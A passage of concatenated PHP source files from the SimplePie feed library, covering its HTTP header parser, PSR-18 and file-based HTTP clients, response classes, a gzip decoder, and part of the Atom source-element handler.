     * Deal with a new line, shifting data around as needed
     * @return void
     */
    protected function new_line()
    {
        $this->value = trim($this->value, "\x0D\x20");
        if ($this->name !== '' && $this->value !== '') {
            $this->name = strtolower($this->name);
            // We should only use the last Content-Type header. c.f. issue #1
            if (isset($this->headers[$this->name]) && $this->name !== 'content-type') {
                $this->add_header($this->name, $this->value);
            } else {
                $this->replace_header($this->name, $this->value);
            }
        }
        $this->name = '';
        $this->value = '';
        if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") {
            $this->position += 2;
            $this->state = self::STATE_BODY;
        } elseif ($this->data[$this->position] === "\x0A") {
            $this->position++;
            $this->state = self::STATE_BODY;
        } else {
            $this->state = self::STATE_NAME;
        }
    }

    /**
     * Parse a header name
     * @return void
     */
    protected function name()
    {
        $len = strcspn($this->data, "\x0A:", $this->position);
        if (isset($this->data[$this->position + $len])) {
            if ($this->data[$this->position + $len] === "\x0A") {
                $this->position += $len;
                $this->state = self::STATE_NEW_LINE;
            } else {
                $this->name = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                $this->state = self::STATE_VALUE;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse LWS, replacing consecutive LWS characters with a single space
     * @return void
     */
    protected function linear_whitespace()
    {
        do {
            if (substr($this->data, $this->position, 2) === "\x0D\x0A") {
                $this->position += 2;
            } elseif ($this->data[$this->position] === "\x0A") {
                $this->position++;
            }
            $this->position += strspn($this->data, "\x09\x20", $this->position);
        } while ($this->has_data() && $this->is_linear_whitespace());
        $this->value .= "\x20";
    }

    /**
     * See what state to move to while within non-quoted header values
     * @return void
     */
    protected function value()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    // Workaround for ETags: we have to include the quotes as
                    // part of the tag.
                    if (strtolower($this->name) === 'etag') {
                        $this->value .= '"';
                        $this->position++;
                        $this->state = self::STATE_VALUE_CHAR;
                        break;
                    }
                    $this->position++;
                    $this->state = self::STATE_QUOTE;
                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                default:
                    $this->state = self::STATE_VALUE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while outside quotes
     * @return void
     */
    protected function value_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * See what state to move to while within quoted header values
     * @return void
     */
    protected function quote()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    $this->position++;
                    $this->state = self::STATE_VALUE;
                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                case '\\':
                    $this->position++;
                    $this->state = self::STATE_QUOTE_ESCAPED;
                    break;

                default:
                    $this->state = self::STATE_QUOTE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while within quotes
     * @return void
     */
    protected function quote_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * Parse an escaped character within quotes
     * @return void
     */
    protected function quote_escaped()
    {
        $this->value .= $this->data[$this->position];
        $this->position++;
        $this->state = self::STATE_QUOTE;
    }

    /**
     * Parse the body
     * @return void
     */
    protected function body()
    {
        $this->body = substr($this->data, $this->position);
        if (!empty($this->headers['transfer-encoding'])) {
            unset($this->headers['transfer-encoding']);
            $this->state = self::STATE_CHUNKED;
        } else {
            $this->state = self::STATE_EMIT;
        }
    }

    /**
     * Parsed a "Transfer-Encoding: chunked" body
     * @return void
     */
    protected function chunked()
    {
        if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) {
            $this->state = self::STATE_EMIT;
            return;
        }

        $decoded = '';
        $encoded = $this->body;

        while (true) {
            $is_chunked = (bool) preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches);
            if (!$is_chunked) {
                // Looks like it's not chunked after all
                $this->state = self::STATE_EMIT;
                return;
            }

            $length = hexdec(trim($matches[1]));
            // For PHPStan: this will only be float when larger than PHP_INT_MAX.
            // But even on 32-bit systems, it would mean 2GiB chunk, which sounds unlikely.
            \assert(\is_int($length), "Length needs to be shorter than PHP_INT_MAX");
            if ($length === 0) {
                // Ignore trailer headers
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }

            $chunk_length = strlen($matches[0]);
            $decoded .= substr($encoded, $chunk_length, $length);
            $encoded = substr($encoded, $chunk_length + $length + 2);

            // BC for PHP < 8.0: substr() can return bool instead of string
            $encoded = ($encoded === false) ? '' : $encoded;

            if (trim($encoded) === '0' || empty($encoded)) {
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }
        }
    }

    /**
     * Prepare headers (take care of proxies headers)
     *
     * @param string  $headers Raw headers
     * @param non-negative-int $count Redirection count. Default to 1.
     *
     * @return string
     */
    public static function prepareHeaders(string $headers, int $count = 1)
    {
        $data = explode("\r\n\r\n", $headers, $count);
        $data = array_pop($data);
        if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        return $data;
    }
}

class_alias('SimplePie\HTTP\Parser', 'SimplePie_HTTP_Parser');
HTTP/RawTextResponse.php000064400000004027151450001630011147 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

/**
 * HTTP Response for rax text
 *
 * This interface must be interoperable with Psr\Http\Message\ResponseInterface
 * @see https://www.php-fig.org/psr/psr-7/#33-psrhttpmessageresponseinterface
 *
 * @internal
 */
final class RawTextResponse implements Response
{
    /**
     * @var string
     */
    private $raw_text;

    /**
     * @var string
     */
    private $permanent_url;

    /**
     * @var array<non-empty-array<string>>
     */
    private $headers = [];

    /**
     * @var string
     */
    private $requested_url;

    public function __construct(string $raw_text, string $filepath)
    {
        $this->raw_text = $raw_text;
        $this->permanent_url = $filepath;
        $this->requested_url = $filepath;
    }

    public function get_permanent_uri(): string
    {
        return $this->permanent_url;
    }

    public function get_final_requested_uri(): string
    {
        return $this->requested_url;
    }

    public function get_status_code(): int
    {
        return 200;
    }

    public function get_headers(): array
    {
        return $this->headers;
    }

    public function has_header(string $name): bool
    {
        return isset($this->headers[strtolower($name)]);
    }

    public function get_header(string $name): array
    {
        return isset($this->headers[strtolower($name)]) ? $this->headers[$name] : [];
    }

    public function with_header(string $name, $value)
    {
        $new = clone $this;

        $newHeader = [
            strtolower($name) => (array) $value,
        ];
        $new->headers = $newHeader + $this->headers;

        return $new;
    }

    public function get_header_line(string $name): string
    {
        return isset($this->headers[strtolower($name)]) ? implode(", ", $this->headers[$name]) : '';
    }

    public function get_body_content(): string
    {
        return $this->raw_text;
    }
}
HTTP/Psr18Client.php000064400000010537151450001630010111 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

use InvalidArgumentException;
use Psr\Http\Client\ClientExceptionInterface;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use Throwable;

/**
 * HTTP Client based on PSR-18 and PSR-17 implementations
 *
 * @internal
 */
final class Psr18Client implements Client
{
    /**
     * @var ClientInterface
     */
    private $httpClient;

    /**
     * @var RequestFactoryInterface
     */
    private $requestFactory;

    /**
     * @var UriFactoryInterface
     */
    private $uriFactory;

    /**
     * @var int
     */
    private $allowedRedirects = 5;

    public function __construct(ClientInterface $httpClient, RequestFactoryInterface $requestFactory, UriFactoryInterface $uriFactory)
    {
        $this->httpClient = $httpClient;
        $this->requestFactory = $requestFactory;
        $this->uriFactory = $uriFactory;
    }

    public function getHttpClient(): ClientInterface
    {
        return $this->httpClient;
    }

    public function getRequestFactory(): RequestFactoryInterface
    {
        return $this->requestFactory;
    }

    public function getUriFactory(): UriFactoryInterface
    {
        return $this->uriFactory;
    }

    /**
     * send a request and return the response
     *
     * @param Client::METHOD_* $method
     * @param string $url
     * @param array<string,string|string[]> $headers
     *
     * @throws ClientException if anything goes wrong requesting the data
     */
    public function request(string $method, string $url, array $headers = []): Response
    {
        if ($method !== self::METHOD_GET) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($method) only supports method "%s".',
                __METHOD__,
                self::METHOD_GET
            ), 1);
        }

        if (preg_match('/^http(s)?:\/\//i', $url)) {
            return $this->requestUrl($method, $url, $headers);
        }

        return $this->requestLocalFile($url);
    }

    /**
     * @param array<string,string|string[]> $headers
     */
    private function requestUrl(string $method, string $url, array $headers): Response
    {
        $permanentUrl = $url;
        $requestedUrl = $url;
        $remainingRedirects = $this->allowedRedirects;

        $request = $this->requestFactory->createRequest(
            $method,
            $this->uriFactory->createUri($requestedUrl)
        );

        foreach ($headers as $name => $value) {
            $request = $request->withHeader($name, $value);
        }

        do {
            $followRedirect = false;

            try {
                $response = $this->httpClient->sendRequest($request);
            } catch (ClientExceptionInterface $th) {
                throw new ClientException($th->getMessage(), $th->getCode(), $th);
            }

            $statusCode = $response->getStatusCode();

            // If we have a redirect
            if (in_array($statusCode, [300, 301, 302, 303, 307]) && $response->hasHeader('Location')) {
                // Prevent infinity redirect loops
                if ($remainingRedirects <= 0) {
                    break;
                }

                $remainingRedirects--;
                $followRedirect = true;

                $requestedUrl = $response->getHeaderLine('Location');

                if ($statusCode === 301) {
                    $permanentUrl = $requestedUrl;
                }

                $request = $request->withUri($this->uriFactory->createUri($requestedUrl));
            }
        } while ($followRedirect);

        return new Psr7Response($response, $permanentUrl, $requestedUrl);
    }

    private function requestLocalFile(string $path): Response
    {
        if (!is_readable($path)) {
            throw new ClientException(sprintf('file "%s" is not readable', $path));
        }

        try {
            $raw = file_get_contents($path);
        } catch (Throwable $th) {
            throw new ClientException($th->getMessage(), $th->getCode(), $th);
        }

        if ($raw === false) {
            throw new ClientException('file_get_contents() could not read the file', 1);
        }

        return new RawTextResponse($raw, $path);
    }
}
HTTP/Response.php000064400000015435151450001630007635 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2014 PHP Framework Interoperability Group
// SPDX-License-Identifier: MIT

declare(strict_types=1);

namespace SimplePie\HTTP;

/**
 * HTTP Response interface
 *
 * This interface must be interoperable with Psr\Http\Message\ResponseInterface
 * @see https://www.php-fig.org/psr/psr-7/#33-psrhttpmessageresponseinterface
 *
 * @internal
 */
interface Response
{
    /**
     * Return the string representation of the permanent URI of the requested resource
     * (the first location after a prefix of (only) permanent redirects).
     *
     * Depending on which components of the URI are present, the resulting
     * string is either a full URI or relative reference according to RFC 3986,
     * Section 4.1. The method concatenates the various components of the URI,
     * using the appropriate delimiters:
     *
     * - If a scheme is present, it MUST be suffixed by ":".
     * - If an authority is present, it MUST be prefixed by "//".
     * - The path can be concatenated without delimiters. But there are two
     *   cases where the path has to be adjusted to make the URI reference
     *   valid as PHP does not allow to throw an exception in __toString():
     *     - If the path is rootless and an authority is present, the path MUST
     *       be prefixed by "/".
     *     - If the path is starting with more than one "/" and no authority is
     *       present, the starting slashes MUST be reduced to one.
     * - If a query is present, it MUST be prefixed by "?".
     * - If a fragment is present, it MUST be prefixed by "#".
     *
     * @see http://tools.ietf.org/html/rfc3986#section-4.1
     */
    public function get_permanent_uri(): string;

    /**
     * Return the string representation of the final requested URL after following all redirects.
     *
     * Depending on which components of the URI are present, the resulting
     * string is either a full URI or relative reference according to RFC 3986,
     * Section 4.1. The method concatenates the various components of the URI,
     * using the appropriate delimiters:
     *
     * - If a scheme is present, it MUST be suffixed by ":".
     * - If an authority is present, it MUST be prefixed by "//".
     * - The path can be concatenated without delimiters. But there are two
     *   cases where the path has to be adjusted to make the URI reference
     *   valid as PHP does not allow to throw an exception in __toString():
     *     - If the path is rootless and an authority is present, the path MUST
     *       be prefixed by "/".
     *     - If the path is starting with more than one "/" and no authority is
     *       present, the starting slashes MUST be reduced to one.
     * - If a query is present, it MUST be prefixed by "?".
     * - If a fragment is present, it MUST be prefixed by "#".
     *
     * @see http://tools.ietf.org/html/rfc3986#section-4.1
     */
    public function get_final_requested_uri(): string;

    /**
     * Gets the response status code.
     *
     * The status code is a 3-digit integer result code of the server's attempt
     * to understand and satisfy the request.
     *
     * @return int Status code.
     */
    public function get_status_code(): int;

    /**
     * Retrieves all message header values.
     *
     * The keys represent the header name as it will be sent over the wire, and
     * each value is an array of strings associated with the header.
     *
     *     // Represent the headers as a string
     *     foreach ($message->get_headers() as $name => $values) {
     *         echo $name . ': ' . implode(', ', $values);
     *     }
     *
     *     // Emit headers iteratively:
     *     foreach ($message->get_headers() as $name => $values) {
     *         foreach ($values as $value) {
     *             header(sprintf('%s: %s', $name, $value), false);
     *         }
     *     }
     *
     * @return array<non-empty-array<string>> Returns an associative array of the message's headers.
     *     Each key MUST be a header name, and each value MUST be an array of
     *     strings for that header.
     */
    public function get_headers(): array;

    /**
     * Checks if a header exists by the given case-insensitive name.
     *
     * @param string $name Case-insensitive header field name.
     * @return bool Returns true if any header names match the given header
     *     name using a case-insensitive string comparison. Returns false if
     *     no matching header name is found in the message.
     */
    public function has_header(string $name): bool;

    /**
     * Retrieves a message header value by the given case-insensitive name.
     *
     * This method returns an array of all the header values of the given
     * case-insensitive header name.
     *
     * If the header does not appear in the message, this method MUST return an
     * empty array.
     *
     * @param string $name Case-insensitive header field name.
     * @return string[] An array of string values as provided for the given
     *    header. If the header does not appear in the message, this method MUST
     *    return an empty array.
     */
    public function get_header(string $name): array;

    /**
     * Return an instance with the provided value replacing the specified header.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new and/or updated header and value.
     *
     * @param string $name Case-insensitive header field name.
     * @param string|non-empty-array<string> $value Header value(s).
     * @return static
     * @throws \InvalidArgumentException for invalid header names or values.
     */
    public function with_header(string $name, $value);

    /**
     * Retrieves a comma-separated string of the values for a single header.
     *
     * This method returns all of the header values of the given
     * case-insensitive header name as a string concatenated together using
     * a comma.
     *
     * NOTE: Not all header values may be appropriately represented using
     * comma concatenation. For such headers, use getHeader() instead
     * and supply your own delimiter when concatenating.
     *
     * If the header does not appear in the message, this method MUST return
     * an empty string.
     *
     * @param string $name Case-insensitive header field name.
     * @return string A string of values as provided for the given header
     *    concatenated together using a comma. If the header does not appear in
     *    the message, this method MUST return an empty string.
     */
    public function get_header_line(string $name): string;

    /**
     * get the body as string
     *
     * @return string
     */
    public function get_body_content(): string;
}
HTTP/ClientException.php000064400000000515151450001630011125 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

use SimplePie\Exception as SimplePieException;

/**
 * Client exception class
 *
 * @internal
 */
final class ClientException extends SimplePieException
{
}
HTTP/FileClient.php000064400000004333151450001630010050 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

use InvalidArgumentException;
use SimplePie\File;
use SimplePie\Misc;
use SimplePie\Registry;
use Throwable;

/**
 * HTTP Client based on \SimplePie\File
 *
 * @internal
 */
final class FileClient implements Client
{
    /** @var Registry */
    private $registry;

    /** @var array{timeout?: int, redirects?: int, useragent?: string, force_fsockopen?: bool, curl_options?: array<mixed>} */
    private $options;

    /**
     * @param array{timeout?: int, redirects?: int, useragent?: string, force_fsockopen?: bool, curl_options?: array<mixed>} $options
     */
    public function __construct(Registry $registry, array $options = [])
    {
        $this->registry = $registry;
        $this->options = $options;
    }

    /**
     * send a request and return the response
     *
     * @param Client::METHOD_* $method
     * @param array<string, string> $headers
     *
     * @throws ClientException if anything goes wrong requesting the data
     */
    public function request(string $method, string $url, array $headers = []): Response
    {
        // @phpstan-ignore-next-line Enforce PHPDoc type.
        if ($method !== self::METHOD_GET) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($method) only supports method "%s".',
                __METHOD__,
                self::METHOD_GET
            ), 1);
        }

        try {
            $file = $this->registry->create(File::class, [
                $url,
                $this->options['timeout'] ?? 10,
                $this->options['redirects'] ?? 5,
                $headers,
                $this->options['useragent'] ?? Misc::get_default_useragent(),
                $this->options['force_fsockopen'] ?? false,
                $this->options['curl_options'] ?? []
            ]);
        } catch (Throwable $th) {
            throw new ClientException($th->getMessage(), $th->getCode(), $th);
        }

        if ($file->error !== null && $file->get_status_code() === 0) {
            throw new ClientException($file->error);
        }

        return $file;
    }
}
HTTP/Psr7Response.php000064400000004201151450001630010376 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

use Psr\Http\Message\ResponseInterface;

/**
 * HTTP Response based on a PSR-7 response
 *
 * This interface must be interoperable with Psr\Http\Message\ResponseInterface
 * @see https://www.php-fig.org/psr/psr-7/#33-psrhttpmessageresponseinterface
 *
 * @internal
 */
final class Psr7Response implements Response
{
    /**
     * @var ResponseInterface
     */
    private $response;

    /**
     * @var string
     */
    private $permanent_url;

    /**
     * @var string
     */
    private $requested_url;

    public function __construct(ResponseInterface $response, string $permanent_url, string $requested_url)
    {
        $this->response = $response;
        $this->permanent_url = $permanent_url;
        $this->requested_url = $requested_url;
    }

    public function get_permanent_uri(): string
    {
        return $this->permanent_url;
    }

    public function get_final_requested_uri(): string
    {
        return $this->requested_url;
    }

    public function get_status_code(): int
    {
        return $this->response->getStatusCode();
    }

    public function get_headers(): array
    {
        // The filtering is probably redundant but let’s make PHPStan happy.
        return array_filter($this->response->getHeaders(), function (array $header): bool {
            return count($header) >= 1;
        });
    }

    public function has_header(string $name): bool
    {
        return $this->response->hasHeader($name);
    }

    public function with_header(string $name, $value)
    {
        return new self($this->response->withHeader($name, $value), $this->permanent_url, $this->requested_url);
    }

    public function get_header(string $name): array
    {
        return $this->response->getHeader($name);
    }

    public function get_header_line(string $name): string
    {
        return $this->response->getHeaderLine($name);
    }

    public function get_body_content(): string
    {
        return $this->response->getBody()->__toString();
    }
}
Gzdecode.php000064400000020500151450001630006771 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Decode 'gzip' encoded HTTP data
 *
 * @link http://www.gzip.org/format.txt
 * @link https://www.php.net/manual/en/function.gzdecode.php
 * @deprecated since SimplePie 1.9.0, use `gzdecode` function instead.
 */
class Gzdecode
{
    /**
     * Compressed data
     *
     * @access private
     * @var string
     * @see gzdecode::$data
     */
    public $compressed_data;

    /**
     * Size of compressed data
     *
     * @access private
     * @var int
     */
    public $compressed_size;

    /**
     * Minimum size of a valid gzip string
     *
     * @access private
     * @var int
     */
    public $min_compressed_size = 18;

    /**
     * Current position of pointer
     *
     * @access private
     * @var int
     */
    public $position = 0;

    /**
     * Flags (FLG)
     *
     * @access private
     * @var int
     */
    public $flags;

    /**
     * Uncompressed data
     *
     * @access public
     * @see gzdecode::$compressed_data
     * @var string
     */
    public $data;

    /**
     * Modified time
     *
     * @access public
     * @var int
     */
    public $MTIME;

    /**
     * Extra Flags
     *
     * @access public
     * @var int
     */
    public $XFL;

    /**
     * Operating System
     *
     * @access public
     * @var int
     */
    public $OS;

    /**
     * Subfield ID 1
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI2
     * @var string
     */
    public $SI1;

    /**
     * Subfield ID 2
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI1
     * @var string
     */
    public $SI2;

    /**
     * Extra field content
     *
     * @access public
     * @see gzdecode::$SI1
     * @see gzdecode::$SI2
     * @var string
     */
    public $extra_field;

    /**
     * Original filename
     *
     * @access public
     * @var string
     */
    public $filename;

    /**
     * Human readable comment
     *
     * @access public
     * @var string
     */
    public $comment;

    /**
     * Don't allow anything to be set
     *
     * @param string $name
     * @param mixed $value
     */
    public function __set(string $name, $value)
    {
        throw new Exception("Cannot write property $name");
    }

    /**
     * Set the compressed string and related properties
     *
     * @param string $data
     */
    public function __construct(string $data)
    {
        $this->compressed_data = $data;
        $this->compressed_size = strlen($data);
    }

    /**
     * Decode the GZIP stream
     *
     * @return bool Successfulness
     */
    public function parse()
    {
        if ($this->compressed_size >= $this->min_compressed_size) {
            $len = 0;

            // Check ID1, ID2, and CM
            if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") {
                return false;
            }

            // Get the FLG (FLaGs)
            $this->flags = ord($this->compressed_data[3]);

            // FLG bits above (1 << 4) are reserved
            if ($this->flags > 0x1F) {
                return false;
            }

            // Advance the pointer after the above
            $this->position += 4;

            // MTIME
            $mtime = substr($this->compressed_data, $this->position, 4);
            // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
            if (current((array) unpack('S', "\x00\x01")) === 1) {
                $mtime = strrev($mtime);
            }
            $this->MTIME = current((array) unpack('l', $mtime));
            $this->position += 4;

            // Get the XFL (eXtra FLags)
            $this->XFL = ord($this->compressed_data[$this->position++]);

            // Get the OS (Operating System)
            $this->OS = ord($this->compressed_data[$this->position++]);

            // Parse the FEXTRA
            if ($this->flags & 4) {
                // Read subfield IDs
                $this->SI1 = $this->compressed_data[$this->position++];
                $this->SI2 = $this->compressed_data[$this->position++];

                // SI2 set to zero is reserved for future use
                if ($this->SI2 === "\x00") {
                    return false;
                }

                // Get the length of the extra field
                $len = current((array) unpack('v', substr($this->compressed_data, $this->position, 2)));
                $this->position += 2;

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 4;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the extra field to the given data
                    $this->extra_field = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len;
                } else {
                    return false;
                }
            }

            // Parse the FNAME
            if ($this->flags & 8) {
                // Get the length of the filename
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original filename to the given string
                    $this->filename = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FCOMMENT
            if ($this->flags & 16) {
                // Get the length of the comment
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original comment to the given string
                    $this->comment = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FHCRC
            if ($this->flags & 2) {
                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 2;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Read the CRC
                    $crc = current((array) unpack('v', substr($this->compressed_data, $this->position, 2)));

                    // Check the CRC matches
                    if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) {
                        $this->position += 2;
                    } else {
                        return false;
                    }
                } else {
                    return false;
                }
            }

            // Decompress the actual data
            if (($data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) {
                return false;
            }

            $this->data = $data;
            $this->position = $this->compressed_size - 8;

            // Check CRC of data
            $crc = current((array) unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
            {
                return false;
            }*/

            // Check ISIZE of data
            $isize = current((array) unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) {
                return false;
            }

            // Wow, against all odds, we've actually got a valid gzip string
            return true;
        }

        return false;
    }
}

class_alias('SimplePie\Gzdecode', 'SimplePie_gzdecode');
Source.php000064400000056272151450001630006524 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<atom:source>`
 *
 * Used by {@see \SimplePie\Item::get_source()}
 *
 * This class can be overloaded with {@see \SimplePie::set_source_class()}
 */
class Source implements RegistryAware
{
    /** @var Item */
    public $item;
    /** @var array<string, mixed> */
    public $data = [];
    /** @var Registry */
    protected $registry;

    /**
     * @param array<string, mixed> $data
     */
    public function __construct(Item $item, array $data)
    {
        $this->item = $item;
        $this->data = $data;
    }

    /**
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * @param string $namespace
     * @param string $tag
     * @return array<array<string, mixed>>|null
     */
    public function get_source_tags(string $namespace, string $tag)
    {
        if (isset($this->data['child'][$namespace][$tag])) {
            return $this->data['child'][$namespace][$tag];
        }

        return null;
    }

    /**
     * @param array<string, mixed> $element
     * @return string
     */
    public function get_base(array $element = [])
    {
        return $this->item->get_base($element);
    }

    /**
     * @param string $data
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @param string $base
     * @return string
     */
    public function sanitize(string $data, $type, string $base = '')
    {
        return $this->item->sanitize($data, $type, $base);
    }

    /**
     * @return Item
     */
    public function get_item()
    {
        return $this->item;
    }

    /**
     * @return string|null
     */
    public function get_title()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * @param int $key
     * @return Category|null
     */
    public function get_category(int $key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * @return array<Category>|null
     */
    public function get_categories()
    {
        $categories = [];

        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'category') as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'category') as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'subject') as $category) {
